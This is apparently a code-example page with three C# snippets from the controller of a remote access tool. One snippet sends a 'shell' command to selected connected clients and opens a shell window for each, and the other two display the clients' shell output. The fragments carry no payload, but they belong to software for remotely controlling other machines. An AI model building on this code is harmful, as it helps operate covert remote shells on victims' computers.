Пример #1
0
 private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "shell";
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
                     if (shell == null)
                     {
                         shell = new FormShell
                         {
                             Name = "shell:" + client.ID,
                             Text = "shell:" + client.ID,
                             F = this,
                             C = client
                         };
                         shell.Show();
                         ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch { }
 }
Пример #2
0
        public HandleShell(MsgPack unpack_msgpack, Clients client)
        {
            FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];

            if (shell != null)
            {
                shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString);
                shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength;
                shell.richTextBox1.ScrollToCaret();
            }
        }
Пример #3
0
 public HandleShell(MsgPack unpack_msgpack, Clients client)
 {
     if (Program.form1.InvokeRequired)
     {
         Program.form1.BeginInvoke((MethodInvoker)(() =>
         {
             FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
             if (shell != null)
             {
                 shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString);
                 shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength;
                 shell.richTextBox1.ScrollToCaret();
             }
         }));
     }
 }